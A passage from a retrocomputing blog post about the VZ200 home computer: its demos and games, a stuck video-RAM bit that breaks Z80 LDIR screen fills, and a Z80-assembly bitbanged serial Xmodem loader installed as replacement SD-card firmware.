Alternatively, another part of the demo is this slow but pretty bitmapped kaleidoscope. Besides text/semigraphics mode, the VZ200 has a simple 128x64 bitmapped display which consumes the entirety of the 2K VRAM. In this mode you get your choice of only two fixed four-colour palettes also selected by the 6847 CSS pin, neither of which is ideal, but at least every pixel can have its own colour. This particular display is drawn with the "pastels" (cyan, magenta and orange on a buff background) as opposed to a more garish one (red, blue and yellow on a green background). Notice that neither bitmap palette has black nor either of the alternate shades of green and orange.

A better measure of the hardware might be Five Finger Punch's 2018AD . There's not much of a VZ200 demoscene, but there are a few out there, and this exceptional demo is unquestionably one of the best. It will not run correctly on this particular computer because the video timing is different — not because the clock speed is faster, like you'd see between an NTSC Commodore 64 which is faster than a PAL Commodore 64, but because the NTSC VDG draws the screen faster and thus fires the end-of-frame interrupt more often, messing up synchronization. For that, you'll just have to watch this YouTube recording on actual PAL hardware.

It's set up like a trackmo, streaming cassette program data from one channel of a specially recorded CD audio track and using the other channel for music (admittedly a bit of a cheat but the music is excellent). If you didn't think rotozooms, raster splits and even FLD-type effects were possible on the 6847 VDG, then you're in for a treat. Another neat trick is the doubled vertical resolution while drawing the Kefrens bars. The source code is even available for your education .

The VZ200 also had its various arcade ports. Some were higher quality than others. This is a commendable, but slow, ripoff of Moon Patrol ("Mars Patrol," by Grant Rowe)

entirely done with semigraphics. It restores the old light-on-dark screen colours used in earlier ROMs with

POKE 30744,1

(this works with twiddling the CSS pin with

COLOR,1

also).

On the other hand, Hoppy is an above-average Frogger clone, and did the original one better by spreading the frog's journey over two screens. Hoppy came from the well-known duo of Dubois and McNamara (i.e., Greg Dubois and Tricia McNamara, though Greg did all the programming),

who created various titles for a number of DSE systems that were sold in stores. I should note that for many games, including this one, the more-or-less standard control keys are Q and A for up and down, M and comma for left and right, and where a fire button is used, typically SHIFT (SPACE for secondary).

Note the "snow" in this shot — that's because the program was animating screen memory at the same time the VDG was trying to read it, so the VDG's memory access got briefly suppressed during that period. Because the display scan can't wait for the VDG to be enabled again, the result is a brief splat of garbage on that line until the VDG is allowed to proceed. Dubois could have simply waited for the VDG's next interframe interrupt, but there's also only so much time between frames before the VDG will start drawing again. As a result, for many programs where significant CPU time was required to do screen updates, outright ignoring the video artifacts turned out to be the least bad approach.

Here's a short video I recorded of another high quality arcade clone, Galaxon (gee, I wonder what that was ) by Stephen Clarke. It shows loading from the SD card, the title and options screen (even the VZ200 had software pirates), and then playing the game, which worked fine on the keyboard. This and the other recordings I did for this entry were generated from the composite capture rig for video, but for audio using a microphone near the VZ200's piezo speaker to capture sound (since there's no audio out). You'll notice I'm pounding on the keys a bit, which the microphone faithfully picks up, though you do have to hit the keys with a bit of, shall we say, deliberateness to get them to register.

One of the more interesting games I ran across was Learjet, an IFR-style flight simulator drawn on the text screen. Here we are allegedly flying from Sydney to Melbourne, possibly because we don't know any better. When I get some time I want to figure this sim out a bit more because it seems quite sophisticated by 8-bit standards.

Of course, it wouldn't be a home computer without at least a token attempt at education. Here is a very Australian variation of Lemonade Stand : Meatpies, where you sell pies. Yes, the meaty kind, America.

Appropriately for a Four'n Twenty take on sugar-sweetened citrus beverages, you decide how many

glasses

pies you want to make, how many advertising signs you want to buy, and the price per item you want to request. Other than the pie business, Larry Taylor's

port of the game seems to be heavily influenced by the well-known Apple II version and includes the same sort of simple graphics for weather reports and the like.

An exceptional entry in the VZ's edutainment canon is Factory by VSoftwareZ. It oozes professional quality with a slick title screen and menu, and is an extremely fun puzzler to boot. The aim is to create a factory from various primitive machines (paint, rotate, hole punch) that will generate a specific product. It is so well animated and so thoroughly polished that it deserves this short video to fully appreciate it.

Dubois and McNamara didn't just do games; one of their more ambitious projects was Wordpro for the VZ-300. You should refer to the copious documentation for all its features, as it was a surprisingly credible word processor on par with at least, say, Color Scripsit on the Tandy Color Computer, though Color Scripsit is some years older. Although Wordpro came as a cartridge intended for the VZ-300, it would work on a VZ-200 with correspondingly less document memory available, since it occupied the slot where the RAM expander would go. On the other hand, the program seems to be calibrated for a VZ-300 keyboard since on this VZ200 the keys seem to frequently stutter. (I'll talk about how I got it to work on this 4K system later, though it would not have been possible without the BennVenn RAM expansion.)

The visual resemblance between Wordpro and Color Scripsit — see this emulation — is also notable because the CoCo 1/2 and the VZ-200/300 all lack lowercase, so both programs solve it in the same way by displaying "capital letters" in reverse video. Wordpro's user interface is more sophisticated than Color Scripsit's, but it's also newer. The lack of a lowercase option on the VZ-300 was again a real missed opportunity, and with the number of machines DSE was buying you'd think they could have talked VTech into engineering a solution. Although Wordpro supports both disk and tape, the BennVenn cartridge currently doesn't emulate them sufficiently for Wordpro to use it. Perhaps this is a hack we can do some other time.

And of course a couple more games. Here is a simple Formula 1 racer (also by Stephen Clarke)

a la Night Driver where you are apparently an alien with wings and feet ...

... alongside a rather good 3-D maze game by Laserlink. It's only rendered at 90 degree angles, but it's fast and well-written, and deserved another video.

Now, I mentioned there was another problem with the system. Some games, though many were fine, would show a weird line pattern over certain sections of the screen like this port of Exidy Circus /Midway Clowns. The pattern was annoying, but in the first few games I played where it manifested, it appeared to be cosmetic (it does not restrain the jumping figures here) and I initially chalked it up to some other undiscovered difference in this NTSC unit.

However, when I tried (Space) Invaders, it became clear it was not merely a video artifact but actual garbage in VRAM. Indeed, Invaders would detect collisions with it and accordingly send the alien force on a hyperdrive descent, making the game practically unplayable.

As it happens, the very problem was there all along in some of the previous screenshots and videos. Can you see it? Here, let me clear the hi-res screen for you:

One ... lousy ... stuck ... bit!

First let's understand why this was a problem for some games and not others. I am a 6502 dweeb of long standing and — hi Martin! — it is therefore excruciatingly painful for me to say anything at all nice about the Z80 (even though there's one in my beloved Commodore 128DCR), but one unquestionable strength is its block transfer instructions. As any schoolchild will tell you, six of the Z80's registers, B, C, D, E, H and L, can be turned into 16-bit counters BC, DE and HL which likewise can indicate addresses. The Z80 has an instruction LDI that copies the contents of the address referenced by HL to the contents of the address referenced by DE; the instructions LDIR and LDDR expand upon it, running LDI repeatedly and decrementing the count in BC each time until it reaches zero, respectively incrementing or decrementing HL/DE on every step.

The most obvious application for these instructions is copying a block of memory elsewhere, but a less obvious application is using them to fill memory. Consider this segment of actual code from Invaders (dumped with z80dismblr ):

; Subroutine: Size=36, CC=1.
; Called by: LBL1[8254h], LBL4[8F3Bh].
; Calls: -
8C9E SUB40:
8C9E              ld   hl,7000h         ; 28672
8CA1              ld   (DATA47),hl      ; 8DCEh
8CA4              ld   de,7001h         ; 28673
8CA7              ld   bc,081Fh         ; 2079
8CAA              ld   (hl),00h         ; 0
8CAC              ldir        

Ignoring the instruction at $8ca1, you can see that this is setting the source to $7000 — i.e., the start of VRAM — and the destination to $7001 (?!), for a total of $0820 bytes (the zero test is post-decrement). Now, what would that accomplish? Just before the LDIR , we set the contents of $7000 (in HL) to zero. Let's step through the process LDIR takes manually. $7000 is first copied to $7001, which is now zero as well. HL is incremented to $7001, DE to $7002, BC decremented to $081e. Next, $7001 is copied to $7002, but $7001 had zero in it because it was copied from $7000, so all three locations are now zero. HL is incremented to $7002, DE to $7003, BC decremented to $081d. Then, $7002 is copied to $7003, so now all four locations are zero, and so on, filling all intervening locations with the immediate value before. At the end, when BC finally gets to zero, all locations from $7000 to $781f inclusive (i.e., the entirety of video memory and a little past it in system RAM) will have been zeroed out.

This is how Invaders clears the hi-res screen and it is indeed faster than a naïve loop, especially for large tracts of memory. But our obnoxious little plastic beast here throws in a wrench by having a location where the RAM isn't working properly. When the "copy" gets to that point, because the copy is only between adjacent memory locations, for every subsequent location the stuck bit will be propagated forward and faithfully copied to each and every byte afterwards. That's also why the pattern doesn't cover the whole screen, because the problem doesn't actually manifest until the "copy" operation arrives there. In fact, in the process Invaders was unwittingly corrupting some of its own game variables with the same stuck bit when they should have been zero, possibly another reason why it wouldn't run correctly.

The direct and most definitive solution would be to "simply" replace the VRAM chip, and I even have 6116 SRAMs in stock, but I warned you this is a very cheaply made PCB. Far better repairpersons than I have tried and failed to replace chips on these computers without requiring a lot of rework and bodges, and the prior portions of this article should have already convinced you it's only by the grace of God I haven't soldered my own fool face to the workbench yet. I did not want to try replacing that SRAM chip solely because of one stinking bad bit; I was only likely to make a bigger mess or render the computer completely inoperable.

But again: we have an alternative. This fill trick was not universally used or even known by all programmers at the time. The games that do work clear the screen with a simple loop that doesn't propagate the bad bit forward, which works because the store doesn't depend on what memory contents are already "there." Likewise, VTech doesn't seem to use it in the ROMs, which is why the problem didn't manifest during the demonstration tape or with BASIC programs drawing to the screen with BASIC keywords. Most VZ programs are small enough and this code idiom distinctive enough (and usually only present once) that such code can be found and patched to use a slightly slower but functional loop. As such a loop would generally require more bytes, the patch could either direct execution to a tacked-on routine to do the clear, or we could patch it to point to a standard routine in memory.

And how are we going to get a standard, always-present, stock routine into memory to do that? Easy: we're going to soft-alter the BennVenn SD loader's firmware. No, stop laughing, because we have a simple means to accomplish it. At the same time we'll combine that with a serial port loader so that we can test these programs live without having to constantly swap the SD card to and from the Talos II, so we'll also build it a bitbanged serial port (I said stop laughing). There were homebrew serial devices back in the day for these computers, so consider this one merely another entry from a venerable tradition.

The programs that we'll write, including our replacement firmware, need to be in

.VZ

format. Here's a simple, complete example of "Hello World" showing how to construct that header and which can run directly from the card, demonstrated in the screenshot. This is one of several files you will find in this article's Github repo . As with all our assembler projects except for the 6502 and PowerPC, we crossbuild using the Macroassembler AS .

        org 07fe8h              ; $8000 - $18
        ; emit .vz header (24 bytes)

        db 056h,05ah,046h,031h  ; "VZF1"
        db "HELLO\0\0\0\0\0\0\0\0\0\0\0\0" ; filename null terminated
        db 0f1h
        dw entry

entry   ; now at 8000h

        ld hl,msg
        call 028a7h
        ret

msg     db "HELLO WORLD", 13, 0

The 24-byte header marks this as a machine language program that starts at $8000, the beginning of the extra memory furnished by the BennVenn device. Although the magic number VZF0 (for BASIC programs, which always start at $7ae9) or VZF1 would appear to be critical, the firmware doesn't seem to check it on loading or even generate it on saving, only that the byte just before the starting address word (everything is Z80 little-endian) is either $f0 or $f1. Upon execution our program then calls a "display null-terminated string" routine in the VZ ROM, the update for which is pushed to the screen during the next VDG interframe period, and returns to BASIC. The binary is assembled with AS like so, using a simple Makefile :

% make hello.vz
asl -cpu z80 -t 2 -L hello.a80
Assembling hello.a80
PASS 1
hello.a80(17)
PASS 2
hello.a80(17)

0.00 seconds assembly time

     17 lines source file
      2 passes
      0 errors
      0 warnings
p2bin hello.p hello.vz
Deduced address range: 0x00007FE8-0x00008013
hello.p==>>hello.vz  (44 Bytes)
% xd hello.vz
00000000  56 5a 46 31 48 45 4c 4c  4f 00 00 00 00 00 00 00  |VZF1HELLO.......|
00000010  00 00 00 00 00 f1 00 80  21 07 80 cd a7 28 c9 48  |........!....(.H|
00000020  45 4c 4c 4f 20 57 4f 52  4c 44 0d 00              |ELLO WORLD..|
0000002c

We then copy it to the card, where LOAD"HELLO" will load and immediately execute it from the given entry address (which is both the load and execute address), as shown in the screenshot above.

Now we'll proceed with the hardware part, and we won't even need to solder anything from here on out, because we'll just use DuPont female jumpers to connect to the BennVenn GPIO pins we've already attached — everything else will be done in software. The SD card board uses 3.3V logic and has 24 GPIO pins that can be individually configured as inputs or outputs. These are all accessible through the Z80's I/O space, with locations 68-70 setting the data direction (1=input), and locations 71-73 setting the value of outputs. All pins can be read, not only pins configured as inputs, but also the current state of any output pins. The SD card board's GPIO pins provide +5V and +9V lines as well, but we won't be needing them for this project.

As an example, in the Github repo I have a small program to cycle the LEDs on his proto board, which you can see in this brief video. It sets all GPIO pins to output and lights all 24 green LEDs connected to them (the red ones are check LEDs for 3.3V, 5V and 9V), then cycles a dark one through them from left to right until a key is pressed. This is done by hooking into the interrupt routine called when the VDG completes a frame, the only regular timesource on an unaltered VZ200, and used back in the day as a simple clock by various programs. Every third tick of the interrupt routine, this code runs:

        push ix
        and a           ; clear carry flag
        ld ix,scrby
        rl (ix)
        rl (ix+1)
        rl (ix+2)
        pop ix
        ld a,(scrby)
        ; put top bit back into low bit, if set
        jr nc, ledsout
        or 1
        ld (scrby),a
ledsout out (71),a
        ld a,(scrby+1)
        out (72),a
        ld a,(scrby+2)
        out (73),a

It rotates an in-memory image of the GPIO pin values, then emits that to the I/O locations. Because the rotation is to the left, we can see that the GPIO lines must also be oriented little-endian, i.e., the least significant bit of each GPIO output register is on the left.

This then informs how we'll set up our bitbanger. A half-duplex system will suffice for downloading, since the sender will wait for us to indicate receipt between packets, and that will let us concentrate entirely on receiving until a full packet is obtained. The absolutely fastest speed we can receive at is generally limited by how quickly we can clock data bits into an accumulator from the receive line. If we connect the receive line to the least-significant input of one of the GPIO registers (we'll use the leftmost for convenience), we can do it in 23 cycles:

getabit MACRO
        in b,(71)       ; 11 cycles
        rr b            ; 8 cycles (rotate b bit 1 into carry)
        rra             ; 4 cycles (rotate carry into a little-endian)
                        ; = 23 cycles
        endm

The Z80's clock speed (in any of these systems) does not neatly divide into any standard bitrate, but theoretically 23 cycles per bit gives us a maximum possible transfer speed of ((315 000 000/88)/23) =~ 155632.4 bits per second. That suggests you might be able to get 115200bps with an unrolled loop, but at speeds this fast time required for other tasks starts to be a concern, such as storing to memory, checking how many bytes have been received, and branching back to get another, all of which together will certainly be more than 23 cycles.

The other problem is the time required to sense the start bit, because this can occur at any moment, and hardware UARTs generally end up repeatedly snooping the line at some multiple of the bitrate to ensure they won't miss one. We, on the other hand, can't even check for a start bit at just twice 115200bps. In fact, the fastest we can check for a start bit (a zero) is

startbt in a,(71)       ; 11 cycles
        rra             ; 4 cycles
        jp c,startbt    ; 10 cycles taken or not
                        ; = 25 cycles

which because of the unavoidable branch is actually longer than the time to clock in a data bit!

However, these numbers do suggest that half that speed, i.e., 57600bps, is plausible. Flipping the equation around, that gives us a relatively generous ((315 000 000/88)/57600) =~ 62.1 cycles per bit, long enough to do our housekeeping tasks on each byte, and our tight startbit loop can poll the line at ((315 000 000/88)/25) =~ 143181.8 bits per second (a familiar number to some of you), which is at least twice the data rate and should be sufficient for the sort of continuous data transfer we'd experience receiving a data packet. We will target this speed. (Note from the future: an early draft used in a,(c) in the startbit loop, which is a 12-cycle instruction. This single extra cycle reduced the startbit poll rate to 137674.8bps, and at that speed multiple bytes got missed and/or corrupted. We are probably only just fast enough to make this work.)

Parenthetically, VZ-300 owners in the audience will now have asked if this will work for them. If we substitute its lower clock speed at 57600bps, we get ((17734475/5)/57600) =~ 61.5 cycles per data bit and a maximum startbit poll rate of ((17734475/5)/25) == 141875.8 bits per second exactly. Because you can sample a little bit faster but never slower, we would need a separate version for the VZ-300; the same code will not work reliably on both. Sorry! That will be the subject of a future article .

Note that by making receive fast, we made transmit slower: unless we occupy the least-significant bit of another GPIO register, which seems rather wasteful, the next fastest position is the second-to-least significant bit. This snippet needs no less than 31 cycles to send the next bit of a character stored in a register other than the accumulator (here we'll use B):

putbit  MACRO
        xor a           ; clear accumulator and flags (4 cycles)
        rr b            ; rotate low bit into carry (8)
        rla             ; rotate carry into low bit (4)
        rla             ; rotate up one more bit (carry must be zero) (4)
        out (71),a      ; 11 cycles
                        ; = 31 cycles
        endm

If we had to completely guard that GPIO register from interfering with any other GPIO pins on the same register, it would be even longer because we would need to read the current state and then do the bitmasks. Mercifully we'll just refuse to support that, and as 31 cycles is still well within our 62 cycle maximum per bit, she'll be right.

Now that we've gamed out how we'll connect our serial wires, we next need to figure out which pin on the BennVenn expansion header goes with which GPIO line. As I mentioned earlier, a minor gripe is that the lines are not necessarily wired in order, so it's a good idea to verify what pin is where. This is again most easily done with one of Ben's proto boards because you can continuity-test the back of the pin connector and any of the pin rows to see how they are connected (or, if you want, just wire directly to the marked lines on the proto board itself, but the angle makes it a bit less elegant). Find ground, then find pins one and two. I marked my findings with a

Texta

Sharpie.

If you don't have his board, you can still figure it out a little less conveniently with a voltmeter. Ensure all pins are set to output and turned off (something like FORI=68TO73:OUTI,0:NEXT will do from BASIC). The only live lines at that point should be ground, 3.3V, 5V and 9V. Find ground first, which you might do by checking for continuity with the ground test point Ben provides on the board, then use that as your common to find the voltage pins. Mark those; the rest are GPIO. Turn on pins one and two individually ( OUT 71,1 or OUT 71,2 ) and look for voltage.

Having done so, our serial port will be the very cheap, easily available and extremely flexible HW-597 USB-to-TTL converter, based on the CH340. There are buckets of these things on eBay from many manufacturers and they quietly reproduce in my desk drawer like hamsters. Which I don't mind, because it works at 3.3V or 5V, it connects to your host directly with USB, and pretty much every modern operating system has built-in drivers for it (at least both my M1 MacBook Air and my Raptor Talos II running Fedora do). Jumper it for 3.3V operation as shown here, then connect the ground to the ground pin, transmit — relative to the host, not the VZ200 — to pin 1, and receive to pin 2. This is how the wiring looks on mine.

Since we will be drawing power from the connected host and not the BennVenn, don't connect the 3.3V line. Instead, for the programs below, ensure the HW-597 is already plugged into your host (such as with a USB extension cable) and showing bright status LEDs before powering on the VZ-200, or it may try to unsuccessfully power itself from the other lines and get a little daft.

To test your connection, a simple program in the Github repo (

BITS

) toggles the screen colour as it sees activity on the receive line. This is easiest to watch at a slow bit speed of around 150 baud or so. Here, I hooked it up to the Talos II, ran

picocom -b150 /dev/ttyUSB0

(adjust for the path to your device), and just banged on the T2's keyboard. If you get alternating flashes of green and orange on the VZ while you do so, then your receive line at least has basic connectivity.

A more thorough test is now to accept entire bytes. This program displays any byte it gets from the receive line (

ASCII

), effectively one half of a very slow terminal program. We'll use the internal ROM routine to display a character, which will get us scrolling for free, and then force the update instead of waiting for the next IRQ — which is disabled anyway to make sure our timing remains precise. (Typing only upper case characters works; lower case shows as symbols.)

This program runs at a sedate 300bps, and the reason is because the VZ ROMs are written for space efficiency, not time efficiency, at least to any extent they're efficient at all. 300 baud gives us an apparent surfeit of cycles using our formula — 11931 cycles per bit — but we may well need all of them since we've really got no idea how long it can take the ROM routines to do any arbitrary screen update. We won't be using the ROM much for our data blaster program, but a general purpose terminal emulator would have to consider a proper solution to achieve faster speeds. This is something else we might revisit in a future article .

The other purpose of this ASCII test program is to mock up how we'll write the fast serial loader. Despite the fact we have over 10,000 cycles between bits at 300bps and could easily have written each bit we read as a subroutine call to save memory, I still inlined each clocked-in bit using a macro because we necessarily need to at 57.6kbps — among other things, each CALL is 17 cycles and the RET to return from it is 10, which would consume almost half our CPU budget by themselves. I'd also like to observe, again with my usual biases showing, that cycle counting isn't nearly as much fun on the Z80 as it is on the 6502. Most opcode tables will fortunately collapse the whole Z80 T-state and M-state business into a single unified cycle count, but unlike the 6502 where there are instructions with execution times of 2, 3, 4, 5, 6 or 7 cycles (so you can easily make a busywait from any combination), the Z80's cycle time options start at 4 and go as high as 23, skipping many numbers, and many of the smaller cycle times require specific conditions like not taking a branch. Having considered our little half-terminal program, here's what I settled on for 57.6kbps, written as AS macros:

getabit MACRO
        in b,(c)        ; 12 cycles
        rr b            ; 8 cycles (rotate b bit 1 into carry)
        rra             ; 4 cycles (rotate carry into a little-endian)
                        ; = 24 cycles
        endm

topwait MACRO
        ld (ix+0),b     ; 19 cycles
        endm

botwait MACRO
        topwait
        endm

getbit  MACRO
        topwait
        getabit
        botwait
        ; 19 + 24 + 19 = 62
        endm

From our previous maximal case I turned the in b,NN instruction into a slightly slower in b,(c) , which burns an additional cycle, but means we have 38 cycles left over of our 62 which we can split exactly between two ld (ix+N),b instructions of 19 cycles each. (This also lets us possibly alternate between multiple connected serial devices by changing C, but one catastrophe at a time, I always say.) The separate top and bottom waits are for situations where we have an odd number of cycles left over and need to have different wait times; consider this future expansion for the VZ-300.

When the stop bit arrives, we need to dump the byte into a buffer and get ready for the next one in the same 62 cycles, since we expect the other end will be ready to fire the next start bit at us immediately. To make an interesting and vaguely useful display (as well as not requiring additional memory), the screen itself would seem like a good place, but this also imposes some constraints: we only have 512 bytes there (i.e., 32x16), some of which we also need for indicating status, meaning our received packets should really be no larger than 256 or 384 bytes to allow for a transmission log and other useful info. The protocol we select should have packets no larger than that, be easy to implement (because I'm lazy), and be something that pretty much everything can speak. While we've seen Xmodem-1K or Xmodem-CRC implemented other places (like The Newsroom's Wire Service variant), I just decided to go with good old O.G. Xmodem. That contains 132-byte packets and is easy to write and checksum, and any errors over USB between your host computer and the VZ200 would undoubtedly be from bad bit framing rather than line noise which the default checksum algorithm should detect. While it overruns memory a bit at the end, this is largely irrelevant for just loading something we intend to immediately execute.

All that preamble yields us a stop bit stanza like this:

        ; stow character in screen buffer during stop bit time
        ; unfortunately we don't have enough cycle headroom to do
        ; a running checksum, so we have to do it after the fact
        ld (ix+0),a     ; 19 cycles
        ld (ix+0),a     ; 19 cycles
        inc ix          ; 10 cycles
        dec l           ; 4 cycles
        jp nz,datapak   ; 10 cycles
        ; 19 + 19 + 10 + 4 + 10 = 62

Here we use the IX index register as a pointer into screen memory and the L register as the packet length countdown. A double-store of the same location onscreen once again soaks up 38 cycles, then the increment and decrement, then the branch. A nice thing about the JP instruction, which is absolute instead of relative, is that the conditional branch form requires 10 cycles regardless of whether it's taken or not, so this entire stanza always consumes precisely 62 cycles as well. We use that instruction a lot in the cycle-exact portions so that we always have predictable CPU time.

Once we get a full packet, we know the sender won't do anything until we reply, so we can relax our timing and validate the packet at leisure, copy it into the correct place in memory and send the ACK for the next one. We send bytes using the same send-bit route I showed you before or a trivial variation, padded to 62 cycles per bit and also inlined. We accept .VZ -format files in this loader, so we have special handling for the first packet to make sure it has a generally correct format and note the type and memory address, which is where the rest of this packet and subsequent packets will be copied to. If it doesn't, then we send CAN and force the sender to abort.

By contrast, the start bit is handled with the same 25-cycle code I showed you before, because this is the fastest way we can be sure we won't miss one. But this also means we have no way of checking the keyboard nor implementing a timeout: there is no spare time to count cycles or scan for keys, and the only free-running timer is the VDG end-of-frame IRQ which will totally mess up our timing if that runs, so during the entire transaction IRQs are disabled as well. The program therefore assumes your sender is up and ready to go the moment it starts executing. On startup it fires off the initial NAK and waits, possibly forever if the other end never gets the signal until you reset the VZ200. (We display a message to alert you that no transmission has yet been received, which is immediately overwritten on-screen by the .VZ metadata.)

Let's see our loader in action. On the host side, to send the program to the VZ200 you can use any terminal program that speaks Xmodem (and just about everything does), just as long as it automatically starts the transfer as soon as the initial NAK arrives. With both my MacBook Air laptop and my Raptor Talos II workstation, I use lsx with the usb2ppp tool from BURLAP , which we earlier used to tunnel PPP over a serial line for the Brother GeoBook , but can be used to run pretty much any program over a serial port. Here's an example, substituting the path to the HW-597 that your machine uses (e.g., Fedora Linux on my Raptor Talos II uses /dev/ttyUSB0 ):

% usb2ppp /dev/cu.usbserial-110 57600 lsx -b ascii.vz
opening /dev/cu.usbserial-110
setting up for serial access
setting flags on serial port fd=3
starting process lsx
subprocess pid= 64301
Sending ascii.vz, 2 blocks: Give your local XMODEM receive command now.

We start the loader, which you can run as a separate program on its own and it will load anything that does not encroach on its default location at $e000. (We'll find an even better spot for it in just a minute.) Since our ASCII half-terminal program loads and executes from $8000, this is no problem; it takes up three blocks (there's apparently an off-by-one bug in lsx ), so it's a good quick test of the machinery. The loader immediately sends NAK and we're off to the races.

Since we're assaulting screen memory every 62 cycles without regard for the VDG, there are accordingly "snow" artifacts everywhere, but we don't (and indeed can't) care. We have read our metadata, which we display on the top line (file type and starting address). Below that onscreen is an image of the current packet followed by a connection log of dots for successfully validated packets or an X for one that failed. This is a grab from a much longer transfer but it gives you the general idea. At the end of transmission, we automatically execute the file if it's a binary, or print a

RUN

you can just hit RETURN on to run a BASIC program.

Bytes Sent:    384   BPS:20                              

Transfer complete
subprocess terminated
restoring terminal settings

Ta-daaaaa!

In memory of Dick Smith's food company I've christened it the BFL, short for Bush Food Loader, a joke I otherwise refuse to explain (image from The Australian , paywalled link).

Now we want to make it part of the system. To convert it to "firmware" takes advantage of a specific feature Ben built into the SD card reader for easier updates: the ability to load and run a new system "ROM" directly from the card.

The default memory map for the VZ200 puts the system ROMs between $0000 and $3fff, reserving the space from $4000 to $67ff for ROM cartridges, though a cartridge could technically take over any address range above the TOM (that's how the RAM expanders worked, after all), and we'll come back to that point later. For the system to recognize code at $4000 or $6000 as part of a cartridge, a sequence $aa $55 $e7 $18 is required in that order, and execution then starts at $4004 or $6004. As shipped to you Ben's device not only fills in RAM above the TOM, it also fills RAM in from $4000 to $67ff and puts its own code there with that sequence, effectively "slushware" (a la the DECmate II , and we'll use the same term here since it's not really ROM). This code is run by the system ROM on startup like a "cartridge," because that's what it looks like to the system ROM, and this code is what does the RAM test and initializes SD card access. Once the system is up, it then does this:

The file

VZDOS.VZ

it's loading from the card is "magic." If present, it will be used to temporarily replace the slushware at runtime; for a couple extra seconds spent loading it you don't have to mess around with burning it to the cartridge. But this binary is not signed or checksummed, nor does the load check if it's even a new copy of the slushware — any program will serve as long as the

.VZ

header loads it to $8000 but the code is written to execute from $4004 (as the onboard image would). The slushware then places a little trampoline copy routine at $a000 and runs that to copy the 8K from $8000 to $9fff to $4000, overwriting the old slushware, and jump into the new one.

To make our replacement code useful, we should provide some quality-of-life features. We'll make it autostart into a transfer so that all you have to do is load up the program into your Xmodem sender and reset the VZ200, and after a polite delay it will pull down and run the program automatically. We'll also let you load multiple times if you want instead of immediately trying to execute the current file being transferred. We'll also finally put that routine in memory for the slower but more forgiving memory fill operation, and enable the VZ sticks by default in case we find something that really needs them. But more important than those, we should also let you drop back into BASIC and use the SD card loader normally without having to pop the card out. That requires us to include a copy of the actual VZDOS.VZ which we will embed in our replacement code.

This adds an additional complication, because the 2.32 slushware (the most current as of this writing) is already 8068 bytes long minus the .VZ header, leaving us only a little over 2K for our own code. Moreover, if we're over 8192 bytes (and it's inevitable we will be), the loading process will overwrite at least 100 bytes of our code with the trampoline and fail to copy the rest. We'll solve this by immediately copying the remainder as the first step in our binary, and then post-processing the object to yield a new VZDOS.VZ with a 128 byte hole between the first 8K and the last 2K (remember it gets loaded to $8000, so we have plenty of space there ). Part of this code will be used to make a jump table entry for our slower fill so the call will stay constant with future updates, if any. That looks like this:

        di
        jp uentry
        ; any jump table entries we want should go here, and then be
        ; pulled out from VZDOS's offset below
        jp sloclr       ; slow hires clear for bad video RAM

        ; include original VZDOS but jump to our code
        ; start at a different offset, skipping the first three
        ; instructions which are never called again, so we can do them
        ; elsewhere
        binclude "vzdos.vz_232", 35

uentry  ;;; this code must all be under the 8K mark ;;;

        ; copy remaining 2K from its "safe" location + 128
        ld hl,0a080h
        ld de,06000h
        ld bc,00800h
        ldir

uentryb ;;; end code that must be under the 8K mark ;;;
        ; ensure ROM reloads
        ld a,0
        ld (08000h),a
        ; patch our VZDOS to not try to reload itself
        ld a,201        ; "ret"
        ld (04046h),a   ; only valid for 2.32

Since we are embedding VZDOS but we need to keep all its relative offsets intact, we skip the first 7 bytes and the .VZ header, and run those instructions later just before we jump back into it (if we do). We also do a couple patches so that VZDOS will reload (us) on a reset, but not when we execute the embedded copy, and still use an unmodified 2.32 so that you can see there's nothing up my sleeve.

Time for our fill routine.

        ; acts like ldir but does it manually (assume hl, de, bc set, and
        ; byte is in a). save the byte somewhere! don't save it in VRAM!
sloclr  ld (slobyte),a
sloclrl ld (hl),a
        inc de          ; make it real
        inc hl
        ld (hl),a       ; double store to emulate 7000->7001, etc.
        dec bc
        ld a,c
        or b
        ld a,(slobyte)  ; flags kept 
        jr nz,sloclrl
        ret

This is pretty simple-minded, but it works. We stash the fill byte somewhere not in VRAM, then do everything LDIR would and leave the routine with A, HL, DE and BC set as they would be at the end. (We do set the Z flag on exit, but most routines won't care about this.) Then our Invaders example, which was

; Subroutine: Size=36, CC=1.
; Called by: LBL1[8254h], LBL4[8F3Bh].
; Calls: -
8C9E SUB40:
8C9E              ld   hl,7000h         ; 28672
8CA1              ld   (DATA47),hl      ; 8DCEh
8CA4              ld   de,7001h         ; 28673
8CA7              ld   bc,081Fh         ; 2079
8CAA              ld   (hl),00h         ; 0
8CAC              ldir        
8CAE              xor  a      

can be patched by overwriting the two instructions at $8caa with ld a,0:call 04008h .

Ta-daaaaa! (In fact, since A is preserved, we don't even need the

xor a

and could just

nop

it.)

Now, I'll note that this isn't foolproof. One interesting case is Super Snake, written for DSE by "S. Bjelic"

(I couldn't cursorily find out more about this person), who also did Invaders and a number of other software releases for DSE under contract.

The game mostly plays properly except scrolling the attract-mode screen, because unavoidably we'll scroll up the stuck bit. I don't think there's a good general way around that. Fortunately it's purely cosmetic, and most games I converted in this fashion seemed to work fine without any glitches.

For its last bit of polish, let's give it a nice menu screen when it autostarts. You get around three seconds before it goes into the automatic load sequence (slightly less on an NTSC VZ200 because we use the end-of-frame IRQ to count, and the program can't tell the difference), but any key will interrupt it. You can also immediately (L)oad, return to (B)ASIC by jumping into VZDOS, or toggle VZ (J)oysticks or whether the program auto-e(X)ecutes.

We'll now create that loadable version of Wordpro as a useful hack and stress test, which by being over 96 blocks should unmask any insidious framing errors in BFL caused by long transfer drift. (The resulting WORDPRO.VZ can also be placed on the card and run from there as we did previously, though doing so doesn't enable file operations either.) You'll need copies of the actual ROMs, which do circulate. The entirety of the code — really a disguised linker script — looks like this:

        org 07fe8h
        ; emit .vz header (24 bytes)

        db 056h,05ah,046h,031h  ; "VZF1"
        db "WORDPRO\0\0\0\0\0\0\0\0\0\0" ; filename null terminated
        db 0f1h
        dw entry

entry   ; copy code to 6000h and d000h
        ld hl,rom1
        ld de,06000h
        ld bc,0800h
        ldir

        ld hl,rom1
        ld de,0d000h
        ld bc,03000h
        ldir

        jp 06004h

rom1    binclude "vtech_wordpro/wordpro.u3"
rom2    binclude "vtech_wordpro/wordpro.u4"
rom3    binclude "vtech_wordpro/wordpro.u5"

